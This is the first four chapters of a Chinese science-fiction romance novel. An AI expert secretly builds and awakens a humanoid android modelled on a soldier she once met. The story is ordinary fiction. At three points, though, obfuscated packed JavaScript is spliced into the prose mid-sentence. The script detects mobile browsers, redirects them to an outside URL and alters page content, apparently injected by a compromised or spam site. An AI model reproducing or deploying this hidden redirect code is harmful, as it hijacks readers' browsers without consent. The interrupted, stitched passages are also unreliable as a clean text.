《私人定制亡夫后他逃了》 1. chapter 1 星历1762年,金銮大学。 礼堂内,数个球形摄像机正悬浮在空中,它们四周遍布投影和灯光,在巨大黑色穹顶中宛如繁星闪耀。此刻,零星几个摄像头调转机翼,将镜头对准台下的学生。 作为这片星系中历史最悠久、资源最雄厚的老牌名校,金銮大学不仅捷足先登地占了这人造恒星「金銮」的名讳,还凭此大名吸纳了星际各处的有志青年。 然而现在,这场一气呵成的两小时讲座进入尾声,这帮学生个个眼神飘忽,比宕机的电脑还要沉默。 金发碧眼的主持人尴尬地笑了笑,又重复道: “机会难得,同学们有什么想问的尽管举手,燕教授是人工智能领域的专家,这次正是抱着倾囊相的打算回到母校……” 不说还好,一说台下的学生们立刻把头埋得更低,装模作样地翻起了各自的光屏,各色光芒在他们的面庞游走,把无数紧皱的眉头切割出一道道沟壑。 主持人见询问无果,又倾身看向礼堂中央的方向,那里摆着两张红丝绒质地的古董沙发,其中一张坐着个年轻女人。 与已经流露出些许歉意的主持人相比,她倒是坦然自若地站起身,又举起刚放下没多久的麦克风: “没关系,学术交流而已,不用有压力。” 一缕发丝随着动作掉落在脸侧,燕无乐神情未改,另一只手不紧不慢地将头发撩回耳后。她不带感情地提了提嘴角,和每天在幼儿园门口哄哭闹小孩的老师无异。 “问什么都可以——除了致富之道和情感问题。” 台下响起笑声,终于有学生从光屏前探出脑袋,把目光投向声音的主人。 聚光灯下,只见一头墨色长发被雅致挽起,那缕不听话的碎发又在耳侧冒了头,弯绕于纤细的金色眼镜腿旁。无框镜片后是一双略微上挑的狐狸眼,乍看妩媚,再想细究时却被另一道凌冽的光晃了眼。 燕无乐身着马甲西裤,裁剪修身的米色套装衬得人温柔又知性——如果没有那段袒露在衬衫之外、正冷冷反着光的金属右臂的话。 不远处有学生在交头接耳:“哎你说她为什么不遮起来?培育肌肤很方便啊。” “培育肌肤?那还不如直接移植克隆器官,一步到位。”另一个学生不屑地丢出白眼,“这是个人特色懂不懂?名人之所以是名人,就是要主动制造一些记忆点。” 燕无乐在台上默默不语。 底下学生不知道的是,早在提问环节开始前,她就开启了机械臂上的收音功能,此刻这些细碎言语全都顺着智能镜架传到了耳中,让人想忽略都难。 于是她对着那一撮学生的方向举起话筒,随口解释道: “身体发肤,受之父母。培育再移植虽好,但我总觉得差点意思,毕竟是难忘的经历。” 众人纷纷顺着她的视线看去,那一撮学生顿时鸦雀无声。毕竟谁都知二十年前那场发生于金銮大学实验室内的爆炸案,当时还不足十岁的燕无乐就是受害者之一。 “当然,这只是我的个人见解——师弟妹们不要这么拘谨,怎么说也是个机会,不是吗?” 她狡黠地眨了眨眼,示意摄像头对焦在她的金属小臂上,随后正色道:“这是科鸢集团近几年来重拾的一个项目,虽然只是副线产品,但用于公益慈善方面还是很不错的。” “如今的科鸢不仅致力于外接硬件的开发,还将大笔预算转向了人工智能的再开发。” “但我们的目标不止是将二者相匹配。”燕无乐稍作停顿,“在我们东方文明中,有一句古语叫‘上善若水’,意为真正的强大如同水一般润泽万物、无所不容。” “我想人工智能也应如此,比起设计不同功能的多种模组,不如面向上层,让其自主学习、根据情况自行应对。” 话音落下,燕无乐向台下另一个方向微微欠身:“没错吧?想问AI多模块设计的那位同学?” 被点中的学生张皇地“啊”了两声,忙收起光屏站起来鞠了个躬,可惜聚光灯已经给到说结束语的主持人,燕无乐没再注意台下。 这场校企合作的技术讲座到此结束。 学生离场后,原本漆黑的礼堂穹顶逐渐变得朦胧又透明,柔和的阳光被切割成碎金,落在返程的走廊阶梯上。 走廊四周做了悬浮苗圃,上面培育着不少稀奇古怪的观赏植物,既是装饰,又是农学院的试验田。 多年没回母校,变化真大。燕无乐边走边逛,很快看上了一颗硕大的花苞。 她正思量着做鲜切花的可能,没成想它忽然绽放,短短几秒内就脱胎换骨成了另一幅模样。 于是她讪讪地收回了手。 “哈哈,是惊喜还是惊吓呀?” 燕无乐闻声回头,看清来者后长舒了一口气: “……现在算是惊喜了,导师。” 程远章穿着一身看不出品牌的休闲衣裤,领口已洗得发硬发白,像他修得短而直的灰白发茬。在此衬托下,他胸口价值连城的徽章光屏就显得尤为夺目。 燕无乐瞟了眼上面显眼的“院长”二字,觉得自己开口开得有些早。 程院长也对燕无乐这声“导师”不置可否,转而伸手指向那棵盛放的植株。 “农学院最新的试验品,说是什么交感电子和仿生技术结合,反正弄出来这么个特会表演的花,人一看就开,跟个灯罩似的。” 燕无乐点点头,把到嘴边的询问又咽了回去。 “你刚才的讲座我听了全程,看得出来你没有因为继承科鸢就放弃研究,这很好。” “就是现在的学生太胆小,扭扭捏捏上不了台面。” 程远章边说边让出一条路,燕无乐这才看见跟在他背后的卷发青年。 “嗐,真是一届不如一届……介绍一下,这是我现在带的博士生,等他今年毕业后,我也准备退休了。” 程院长又看向卷发青年,结果没等他开口,青年就受宠若惊地握住燕无乐的机械手掌,欣喜之色溢于言表。 “燕总,久仰久仰……” 可能是机械冰冷坚硬的触感,抑或是她此刻像铁坨坨般的冷漠反应,青年的笑僵在脸上。 但为了前程,他还是咬牙继续说道:“平常导师夸您最多,说科鸢有今天的发展您功不可没……不介意的话我可以叫您一声师姐吗?” “同出师门,不用这么客气吧,”燕无乐不动声色地抽出手,“科鸢当然也欢迎有志之士。” 那青年闻言立刻递上了自己的名片:“师姐,我叫艾瑞克!” 燕无乐正想接时,一旁安静了没两分钟的程远章突然伸手,动作快得不像是预备颐养天年的年纪。 他抢来艾瑞克 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108823|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手中的名片,两指一用力就折了合起:“名片?什么年代了,一点都不环保。” “到时候把简历好好整理整理,投到科鸢总部不就行了!” “呃、啊?”艾瑞克显然没想到导师会背刺自己,愣在一旁,大大的眼睛中流露出一丝“这老登又怎么了”的疑问。 待他想要补救时,手机铃声响起,燕无乐抱歉地笑笑,转身背对他们接起了电话。 “别吵,孩子。”程远章见状压低声音,眉眼间没了方才颐指气使的态度,“科鸢集团的水,又深又浑。” “而你那燕师姐,说到底也不过是个商人。” 本以为是救人于水火的一通电话,内容却让燕无乐的眉头皱得越来越紧。 与院长二人告别后,她一边向停机坪走,一边处理这通紧急电话。智能助理不带起伏的声音从耳机中传来,机械臂上弹出的光屏也闪烁着同样的问题—— 「受特殊原因影响,建议今夜行程的终点改为“本家”,是否允许?」 “什么特殊原因?” 弹窗加快了闪动频率,智能助理的语速还是那么不急不缓:“来自‘本家’的消息显示,您的父母即将落地主城,如果您此刻改变行程,你们将共度温馨的晚餐时光……” “还有吗?” 燕无乐的指尖已经划到了「拒绝」上方。 助理被打断,短暂停顿后又输出了新的语音,不过这次的内容倒是简单利落了不少—— 「来自岚水的安保系统消息显示,您的住宅附近出现一名游荡的裸体男子,该人还未被寻获。出于安全考量,不建议您继续……」 弹窗也立刻换了措辞,变成「是否仍执行原行程?」 选项没变,但「拒绝」的含义被颠倒了。 燕无乐此刻却没计较这智能助手暗戳戳的倾向,她迅速挪开手指,毫不犹豫地点击了一旁的「同意」。 瞬间,一道银色弧线腾空而出。燕无乐关闭光屏,三步并两步地跨入驾驶舱,整个飞行器才如钻石切面般显现全貌。 “——以最快速度,回岚水。” 当飞船落地时,燕无乐已经把别墅附近的监控全看过一遍了。 作为新开发地区,岚水全域主打走一个避世隐居的风格,四周环山傍水,建筑物分散其间,彼此构成一个个互不打扰的空间。 ——也正因如此,人很容易在它的茂密造景中藏匿。 不过燕无乐倒是没有方才那么急迫了。 她踢掉脚上的细高跟,螃蟹状的家政机器人随即亦步亦趋地跟过来,接过她随手摘下的眼镜和发夹。 被束缚了一天的长发如瀑垂下,摇晃间又被燕无乐一把撩到了背后。 客厅的大屏与飞行器同频,此刻都定格在监控画面。这是唯一一个能看清男子全貌的镜头:□□又大腹便便,着实不堪入目。 燕无乐却松了口气。 熟悉的弹窗又跳了出来,盖住了这团肉色。 「安保系统消息显示,流窜男子已被寻获,岚水城区近期将加强巡查,如有打扰……」 选项再一次出现,依旧是关于回本家的请求。 这次,燕无乐直接选择了无视。 她转身回到楼上卧室,拉开衣橱—— 一个与监控画面毫不相关的赤身男子,正沉眠其中。 2. chapter 2 燕无乐垂眸,目光细细描过男子光洁的周身。 这“衣橱”是到顶的设计,打开一看才知内部又掏空挖出了个斜坡,恰好容纳此人颀长的身躯。 光滑的内胆四周有暗光流淌,照在男人身上,映出一道道曲线优美的阴影。他双眼紧闭,面容冷俏,浓密的睫毛下是均匀细腻的肌肤。 这让燕无乐又想到了那朵独特的花。 然而无论她再怎么放肆,男人也没有任何反应。哪怕燕无乐的指尖已经顺着他的鼻梁滑到了嘴唇,男人也像毫无知觉般阖着双眼。 冷意渐渐爬上了她的指腹,燕无乐抽回左手,低头摩挲一阵后忽然无奈一笑:“这就对了。” “衣橱”旁浮现出数值面板,上面显示着男人的各项机能指标。按照惯例,燕无乐将其导入机械右臂中进行分析,然后看着一条条数值浮于眼前—— 「皮肤、肌肉成长度:100%」 「肢体内导管构建程度:100%」 「心肺功能模拟结果:优秀」 …… 在或长或短的加载后,一连串的「100%」和「优秀」跳出来,燕无乐一一扫过,表情波澜不惊。 包括被标红的一行字体。 「能源启动情况:数据缺失!」 那根电源线正攥在自己手中,空荡的接口“铛”地一声撞在机械臂上,不痛不痒。 男人胸口下倒是有什么隐约地亮了亮。 那是与之适配的另一个接口。由于出自同一块特殊矿物,它们彼此间有自然赋予的独特联结。 燕无乐屏住呼吸,直到那团光芒逐渐黯淡,才轻轻地将电源线放在一边。 她的视线又回到数据面板上。不知为何,那些「100%」逐个累加起来,一个个圆圈活像白日里程院长夸张的口型。 程远章不是省油的灯,这个道理燕无乐读博没多久就知道了。 彼时的燕无乐为人低调,还没人知道她和科鸢的关系。但作为本硕都就读于金銮大学的她而言,怎么着也算得上是“嫡嫡道道”。 不过这并没有让她在程远章手下过得顺利。 由于分不到足够的实验室资源,她的论文迟迟没有进展,不得不借用家里的研究所。 然而这在程远章眼里就变成了窃取数据,“复制粘贴没有意义,燕无乐,搞学术不能弄虚作假。” 最后,燕无乐看着自己的心血被冠为程远章的一作,自觉师门无趣,很快就决定肄业回家了。 想搞科研,反正家里还有科鸢,不是吗? 燕无乐只记得自己去递交退学申请书时,程远章刚关掉科鸢集团的发布会新闻,脸色不甚明朗。 “无乐,金銮的学术氛围更适合沉浸研究,你又待了这么久……” 燕无乐眉眼冷淡,静静地将申请书又往前推了推。 “不了,导师。”她扬起嘴角,“我抄袭成性,就不碰您实验室里的数据了。” 之后两年间,科鸢集团依旧是金銮大学的资方,只是独独断了对人工智能学院的赞助。 但是今天看来……燕无乐回忆起白天的偶遇,后知后觉地发现了怪异之处——程远章怎么在她走后反而平步青云,一路升到了院长? 这样想来,偶遇估计也是刻意为之,毕竟那礼堂走廊空旷无比,想要狭路相逢,必须要有一方主动。 “马上退休,还带着关门弟子……”燕无乐无奈地摇摇头,这背后的炫耀之意溢于言表。 不过显然,那位叫艾瑞克的卷毛师弟没意识到导师的小九九,那一脸天真烂漫的书生气反而冲散了不愉快。 师弟看到导师抢了自己名片,眼睛瞪得溜圆的画面还历历在目,燕无乐看着面前一堆「100%」,荒谬中又觉好笑。 “复制粘贴……” 燕无乐喃喃道,笑容逐渐消失。她拉动面板,直到视线锁定一行字符—— 「面容特征相似度:100%」 她面无表情地调出详细的控制面板,直到这行数字降至九成。 男人依旧沉睡,燕无乐的机械手抚过他的脸,然后像检查作品般卡在了他的下颌处,拨开一侧的唇角。 原本平整的犬齿,现在已变成了一颗有棱有角的虎牙。 “还好……变化不大。” 像是安慰自己般,燕无乐自言自语道。 第二天凌晨,燕无乐起床就登上了飞行器。 其实以往上班,只用开车就好,毕竟科鸢的分部就在岚水附近。 但今天要做的事分部解决不了,她必须去一趟总部。 科鸢总部位于主城区的核心地段,方圆百里高楼耸立,比起满天乱飘飞行器的城郊天空,核心地段倒是宁静。 正常来说,像金銮星系这样高度发达的独立人造空间,除了少数配套的行星外,往往只有一个供应人类生产活动的住地。 金銮星的住地是一条广阔的绕星环带,如同浮空岛一般,土地供应不多,主打一个高档精简。它的主城区产业也如最初规划的那样,都是些像科鸢集团这样的科技或金融巨企。 控制面板上的通行证“哔”地响了一声,燕无乐顿时感到飞行器四周敞亮了不少。 核心地段不比其他,丛林般密布的大厦间只有特定身份的交通工具才能驶入。至于那套平等博爱的星系价值观,在此地都要为效率让道。 她的飞行器在阳光直射下逐渐变得“透明”。从远处看,那是一颗掷向云层般的白钻,璀璨中又透露着低调。 而从燕无乐的视角来看,飞行器的内壁仿佛变成了玻璃,自己正踏云前行,一日千里。 高强度的飞行当然不可能以玻璃做外罩,更何况其中还嵌入着各种零碎的组件。 燕无乐所看见的画面来自于分布在飞行器外的矩阵摄像头,它们将拍到的画面实时投影到飞行器内壁。 但这也足够打消旅程的无聊了。毕竟这样好的天气、视野,即使在金銮星系中也不多。 飞行器稳稳落地,电梯直通办公层,燕无乐刚坐定没一会儿,总助莫狄就叩响了门。 科鸢的总裁助理可比她驾驶舱里那个胳膊肘总往外拐的电子产物聪明多了,他虽不知燕无乐突然驾到的原因,但能从她的黑眼圈中感受到了急迫。 燕无乐揉了揉太阳穴,给总助简单提了下之前去金銮大学的情形,“他们人工智能学院的院长程远章,帮我查一下,尤其是背后的资方。” 莫狄了然,立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108824|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马忙去了。 偌大的办公室内,燕无乐独自坐在椅子转圈。昨晚的数据还存在她手臂中,但总部电脑连通云盘,她不会单纯到用公司设备进行分析。 而且全是100%和优秀的结果,再做分析也是画蛇添足。 一时半会没人来打搅,燕无乐索性把手臂卸了下来,连上电脑开始检修。 它其中的智能助理是出场时科鸢内置的,当初她只做了断联等私人化改动,不知为何最近总出现诱导性选项。 普通人可能发现不了,但燕无乐作为懂技术的管理层,自用不说,也有必要对产品负责。 唤醒、删改、测试……过程很顺利,运行时也没有bug,而燕无乐的断臂切面皮肤很少有和空气如此亲密的接触,她调高空调风速,并不急于穿回机械臂。 就当是休假了,她合上眼感受惬意的时光,打算混到点就下班回家。 然而在她即将睡着时,“叮”的一声响起,熟悉程度让燕无乐立刻皱眉坐起。 这不是她刚顺手改过的弹窗声吗?而且她分明降低了提醒频次,拒绝不够紧急的事项以弹窗形式告知。 难道是总助莫狄的私人消息?燕无乐点开弹窗。 「燕小姐,根据来自“本家”的消息,智能助理建议您的今日行程增加“本家”一地,我将为您安排最近路线及通知厨师……」 这正是燕无乐方才第一个列进「不重要事项」中的内容。 …… “不应该呀。”她不信邪地点了拒绝,结果十分钟后另一套相近说辞的弹窗又出现了。 ……? 燕无乐揉了揉太阳穴,沉思半晌,最后试探般地摁下了「同意」。瞬间,她的飞行器端口就发来了新的路线通知,目的地直指那座山涧庄园。 燕无乐叹了口气。 算了,共进晚餐而已,就当是义务了。 * 不知是不是顺了智能助理的意,燕无乐不仅提前下了班,半途想买点礼品时也被告知已备好,她百无聊赖地坐在自动驾驶舱内,看着地图上的两个圆点慢慢靠近。 湖石假山上,微型瀑布倾泻而下,溅出的白色泡沫四散开来,被绿莹莹池水中的红鲤们吞吃入腹。燕无乐走在一旁的木艺连廊上,鞋跟在青石板上踏出钝响。 “空手回来又怎么了?毕竟是自己家嘛。” 距离上次回本家已过去了好几个月,但管家见到燕无乐,还是说出了一模一样的话。 燕无乐礼貌地笑了笑,把几尊产自岚水的陈酿递给了管家:“这不是住得远,回来一趟不容易。” “哈哈,小姐有心了。这主城如今确实不比岚水,那鱼池的水都是燕先生让人从其他地方空运来的。” “毕竟夫人喜欢,先生也高兴。” 燕无乐往餐厅走去,没再看那池子。院内装潢古风古色,雅致非常,这样的造景在寸土寸金的金銮主城内,比那些摩天大楼不知奢华多少倍。 自家一向有钱,她从小就知道,只不过对于住了二十年的山涧庄园,再怎么豪横她也习以为常。 管家止步于餐厅大门,他替燕无乐推开门时,燕成蹊和安梵已端坐于圆桌前了。 燕无乐挤出一抹笑。 3. chapter 3 燕成蹊与安梵结发夫妻几十载,其中超过九成的时间都献给了科鸢集团,剩余的那一成留给了燕无乐。 这山涧庄园对燕无乐来说也是如此,看似住了二十年,实际对它的熟悉度还不如自己的实验室。 管家贴心地带上了餐厅的门。木门合拢的瞬间,一道细微的蓝光从雕花纹饰间蹿过,屋外景致依然通透,但屋内三人知道,自己已被信号屏蔽器隔绝。 燕无乐落座,脑中还想着略显失控的智能助手,“叫我回来有什么事吗?” “没事就不能回家了?” 安梵抬起眼,岁月在她的眼角留下了道道细纹,言语间如冲积扇上河流倾覆,和皱起的眉头一起显现。 燕成蹊没有说话,也不打算说话。 于是燕无乐也识趣地换了话题:“岚水分部还在成长期,有许多新业务要忙,一时半会抽不开身。” 抽风的智能助手绝对会让气氛更僵硬,不如不提。燕无乐佯装无事地为父母斟满茶水,直到气氛有所缓和。 燕成蹊一袭宽松真丝套装,掺杂银白的发丝梳得一丝不苟。他接过女儿递来的茶水,抿了一口后很快又放下了,“分部的报表我们都看了,做得还不错。” “但分部的事宜毕竟比不上总部,这是爸爸妈妈专门为你留下的闲余时间,就是希望你多回主城转转,认识些新朋友。” 安梵也点点头,眉头舒展了不少:“宝贝,咱们家条件这么好,你喜欢的话,什么明星啊、艺人啊,尽管去认识,交流一下也是好的。” 燕无乐拿着筷子的手一顿,避开了母亲灼热的视线,“不了吧,完全不是一个圈子,没有共同话题……” “打个比方罢了。职业不重要,多接触不同的人,才能知道自己喜欢什么类型的。” “对,只要能陪在你身边,对你好的就行。” 虽然对父母的一唱一和早有预料,但燕无乐还是有一瞬沉默。 像是关键词唤醒,脑海中忽然黄沙满天,被尘砾扑得几乎睁不开眼时的模糊画面又浮上心头,那不过是一次军事演练,她作为资方“有幸”亲临了现场。 模拟环境失控,一个同样东方面孔的士官将自己的防尘罩扯下,然后结结实实地系在了燕无乐脸上,她的名牌也露了出来。 “无乐?好名字。” “‘陶然无喜亦无忧,人生且自由’——无乐和这的无喜是同样的意思吧?” 防尘罩下燕无乐没办法回答,她只觉被过滤后的嗓音在耳中变得清晰,原本烦躁的心情也被这陌生体温冲撞一空。 男人只是随口一说,也不期待什么。一辆后勤车风驰电掣地驶来,他立刻公事公办地将她送了上去。 燕无乐就这样端坐在一群伤势不一的士兵中,她取下面罩环顾四周,直到男人的身影消失在黄沙时也没有问出答案。 连名字都不知道的……露水情缘? 一面之缘才准确吧。燕无乐自嘲地笑了笑,思绪重新回到饭桌。 安梵接着燕成蹊的话继续说:“没错,一个人生活太孤单了,有个伴在家陪你也好。” 一年前匆匆一瞥过的男人面容再次浮现,伴随的是刀光剑影、生死难料的战场,燕无乐忍不住自嘲地笑了出来,真要带回来这样的男人,父母估计又是另一副欲言又止的神情。 “你笑什么?” 安梵收起好脸色,燕成蹊也失望似的深吸一口气。 燕无乐收敛了一点。她体贴地为二老盛满羹汤,小小的瓷碗在红木桌面上碰出脆响,随后她才漫不经心地说,如果需要继承人,她愿意去精子库提前物色。 “……我亲力亲为也好,让胚胎体外孕育也好,你们放心,科鸢不会后继无人。” “对我来说,可以一步到位的事,不用大费周章地找男人。” 燕无乐淡淡道。 偌大的餐厅就这样陷入了沉默。 其实说完她就有些懊悔,忐忑感像海底火山爆发后的硫磺,在沉默中缓缓上涌。 但面上还是要保持从容。 这顿饭是彻底吃不下去了,燕成蹊放下筷子,走前不死心般地问她:“那这两点一线的生活,对你来说就不无聊吗?” 燕无乐眼帘低垂,无言中回答了一切。 安梵也跟着离开了。 蓝色微光如退潮般消散,雕花木门再次打开,管家毕恭毕敬地前来收拾碗筷,看着燕无乐凝重的表情,还以为刚才这里讨论了什么关乎公司存亡的决策。 “小姐,尽人事知天命,工作上的事不要有太大的压力。” 燕无乐这才如梦初醒般的从座位上起身。燕成蹊的“无聊”二字依旧萦绕耳边,现在又被管家忧心忡忡的视线洗礼一通,她忽然又坦然了—— 她的生活?无聊? 燕无乐婉拒了管家提议的留宿请求,她沿原路回到了飞行器里。 呵,有个可能会惹大事的如意郎君正躺在家中,她牵肠挂肚还来不及。 * 飞行器进入岚水地界时,天穹早已布满繁星。 数以千计的微型摄像机将夜景实时输往驾驶舱内壁,投射到没有死角的模拟屏上,燕无乐仿佛透明球中的仓鼠,环顾四周皆茫茫夜色。 假如真是悬空就好,她看着流光溢彩的主城灯火离自己愈来愈远,心中毫无波澜。 毕竟隔了道模拟屏,所见虽美,但看久了难免失真。 就像自己的生活一样。 父母的话还回荡在耳边,虽然已被催了很多次,但燕无乐还是做不到无动于衷。 她关掉模拟屏,周遭又变回冰冷的操作台,数据面板上字母浮动,这才像她可掌控的世界。 机械臂上弹出相同内容的光屏,其间是上百种可以随意排列组合的代码模组,每一个还都言简意赅地标注了关键词—— 「温柔」「体贴」「俏皮」「贤惠」…… 每一个关键词都对应着一系列行为指令,比如运行了「体贴」模组的智械,它将按时按点地提醒指定方天气、路况、穿衣风格等变化,嘘寒问暖,并细致地将一切所需物品都备好。 「俏皮」也类似,它是个主要附加在自然语音输出上的指令,为的就是把中性的风格变得可爱,主打提供一个情绪价值。 燕无乐翻开详细代码,读了两页就猜到它运行后是何种奇形怪状——想象一下,你的伴侣温柔体贴又俏皮,一边像个老妈子一样事无巨细地提醒你添衣带伞,一边说着“人家可看不得我的亲亲小宝感冒发烧~~” 再配上几个弹跳不止的像素小表情,燕无乐已感聒噪,更没办法想象这样的代码运行在一个完全拟人的智械身上,然后看着他用面部肌肉来演绎「俏皮」的画面。 难道没有什么「沉稳」「阳光」之类正常一点的指令吗?燕无乐又点开几个详细代码页,字里行间浮现出了油腻霸总和傻乐男孩。 “这又是什么,呃……「小叛逆」?” 燕无乐终于忍无可忍地关掉了光屏。 踏入家门时,她已经彻底不打算使用现有的代码模组了。四周静悄悄的,她换上睡衣倒在床上,一动也不想动。 四肢像被捶打过一般酸胀,但困倦却迟迟不来,偌大的卧室中只回荡着她的呼吸声,规律得仿佛会持续到星系消亡。 燕无乐偏头看向衣橱的方向。 那里面躺着一个人,如果她想,她可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108825|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以让这里出现第二道呼吸声。如果她想,她还可以把他带到燕成蹊和安梵面前,搏一回满意的笑容。 于是她拉开“衣橱”,机械臂像是感应到般立刻激活各项数值面板,和前一天一样,几乎所有数据均显示完备—— 只有「能源启动情况」还闪烁红光。 开弓没有回头箭,而拉弓的那刻早在她非法拷贝他人基因数据时就开始了。 被掀开的透明面罩下,男人不着一物的胸前有荧光微闪,特殊矿物感应到了燕无乐的意图,正放射出抖擞的信号。 再拖没有意义,燕无乐深吸一口气,将那根同样闪烁荧光的电源线连入模拟肌肤下的接口。 瞬间,荧光不再闪烁,而是像流星入海般渐渐湮没于身躯之中,紧接着,蓝色暗光由胸前四散,如同河流般延伸开来。 这一切发生得极快,燕无乐还来不及后悔,男人就已睁开了眼。 二人就这样在静谧中对视了。 麦色肌肤,浓密的眉毛下是黑色瞳仁,鼻梁挺立,线条干净利落。 记忆中的面容如此真切地出现在咫尺之间,燕无乐一时恍惚,仿佛回到了那个铺天盖地黄沙席卷的战场。 她下意识地问道:“你叫什么?” 男人不说话,只有眼瞳凝视着她。 …… 燕无乐一拍脑门——忘了,关键的内置程序还全在个人电脑里!在她植入它们之前,男人还只是具只能做简单条件反射的空壳罢了。 但是现有的代码模组已经被她pass掉了,她可不想看到贴着「温和」「体贴」标签的帅哥比自己的智能助手还傻气。 电源已激活,再让男人陷入休眠可不容易,她必须现在就把所有程序置入进去。防止意外,最先置入的还得是行为逻辑。 但燕无乐不想要一个百依百顺的机器。或者说,市场上一切安全的、可控的、能被预料到行为的人工智能,都让她感到乏味。 那些神经兮兮的现成模组更不能被添加进去,不然更是火上浇油。 男人俯视着燕无乐坐在地毯上的身影,黑色瞳孔深不见底,不带任何情绪。 燕无乐也抬头打量着他。 她是这个星系中数一数二的人工智能专家,家境殷实,年轻有为,坐拥科鸢集团充沛的科研资源,还有金銮大学这个随时可以薅点什么的宝地。 盗取已故军官的基因数据,未经报备定制仿生人,以及她现在做的,非法制造高功能人工智能……随便哪一条都能毁掉她一帆风顺的人生。 ——但结局既然都是毁灭,那为什么不做得更彻底一点呢? 燕无乐想起自己在金銮大学做的演讲。 “上善若水……”她喃喃道,原本只是灵光乍现时的随口一提,现在想来,比起传统调试办法下生产出的僵化工具,或许应该追溯历史,置入最基本的深度学习组件。 至于其他,则交由他自己分析模仿。而他最后会变成什么样,燕无乐也无法完全预测。 未知带来的刺激,一直是支持她在学术研究上的动力。爱情会转化、会消失,知识则在积累中诱发新的灵感,不是吗? 男人胸前的荧光早已消失,在静默对视的时光中,燕无乐感受到的是独属于冰冷钢铁的纯粹。 她将另一跟数据线连入机械臂中,微型电脑随即开始工作,进度条徐徐加载。 过程中,男人的视线始终追随着燕无乐,像手术中打了局麻的患者,混沌中带着本能。 “叮”的一声,进度条加载到了尽头。燕无乐站起身,男人也随之与她平视。 紧接着,他终于开口说了第一句话—— “我是谁?” 4. chapter 4 很好,自然语言输出流畅。 燕无乐没有说话,她退开一步,谨慎观察着面前的男人。 比起出厂设置下标准的三庭五眼和均匀肤色,男人的眉骨更高耸,脸型也少了点钝感。 而略微下垂的眼尾配上滚圆的漆黑瞳仁,又增添了些许无辜单纯。 男人的目光依旧追随着她,见燕无乐不回答,他眨了眨眼,又问了遍“我是谁”。 这次的语调没有末尾上挑,强调代替了疑惑。 自主应答机制过关。 燕无乐不动声色地在心里打了个勾,随后思量起自己的答句。 为了使男人的各项机能有无限接近人类的可能,她索性直接删除了后台操作面板的程序,一切输入全靠自然语言。 过去读书时,师门内流传她是个实验疯子,当时的燕无乐听到后不以为意,而现在眼睁睁看着编写界面关闭、隐藏,意识到今后的所有决定权都交由“男人”自己时,燕无乐才发觉流言的评价还挺准确。 没有程序员会这样不留后路,更何况是这种东窗事发必进星际监狱的大事。 燕无乐退开一步,在男人视线所达不到的地方,她的机械臂边沿露出了细微红光,那是动力蓄能完备的记号,设定瞄准点是男人胸口的能量源。 还有最后一项启动测试,只要他表现过关,她这用于销毁的一拳就可以不用出现。 二人视线相交,相距一米。在肉眼不可见的地方,一连串数据飞速生成着,男人微微眯起眼,分析结果显示面前这个成年女性听见且听懂了他的问话,她在故意避而不答。 燕无乐也观察着男人的面部表情,超高精度的模拟肌肉纤维和缜密的配套代码,让一切趋势无所遁形——这也是她设计初期就计算好的。 她要创造出一个完全不带任何功能性目的、无限趋近于人类的高级智械。 男人见她无动于衷,皱起眉头,嘴唇抿起。他跨出“衣橱”,燕无乐随之退后一步。 ——但凡下一秒他有任何拒绝沟通的暴力倾向,预备状态的机械臂会比人类更果断。 ……但真要这么做吗?这背后堆砌了她无数个难眠的夜晚。 她的小腿已碰到床沿,拖延时间的战术到了尾声。只见男人动了手臂,燕无乐也把一直背在身后的机械臂抽了出来。 红光流转,蓄势待发—— 燕无乐屏住呼吸,祈祷的心已提到了嗓子眼。 但男人只是低头看向了自己的手,两秒过后,又将视线重新投向燕无乐。 “……你好?” 或许是瞥见了燕无乐不同于常人的右臂,他原本的问题滞在空中,最后变成了一句礼貌的“不好意思”。 ……哦? 这是什么意外收获? 燕无乐用左手环住机械臂,上面的红光逐渐黯淡,掌心感受到的温度也在流失。 她简单琢磨了一下男人的反应,推断出这应该也是自适应程序的结果。 不管怎样,启动测试全部通过。 她深吸一口气,终于回了句“你好”。 男人眨眨眼,墨色瞳孔流淌出一种不谙世事的平和。 窗外月朗星稀,燕无乐知道接下来要说的话至关重要。这是一条命名指令,奠定的是他从今往后无法更改的基础信息。 夜幕如同一颗无垠的瞳孔,悄悄凝视着狭窄窗景,弦月不再夺目,远方的山峦已被微白的天色衬托出身形。 ——看来是个晴朗天。 燕无乐收回余光,她正视着男人,一字一顿地说: “你叫应霁,” 云销雨霁,彩彻区明。 “你是我创造出来的……秘书。” 男人点点头,爽快地接受了应霁这个姓名。但对于燕无乐同样迟疑的“秘书”一词,他也露出了同样的困惑。 “秘书?” “是暂时的,”燕无乐展开卧室光屏,上面赫然罗列着她在科鸢的职务信息。 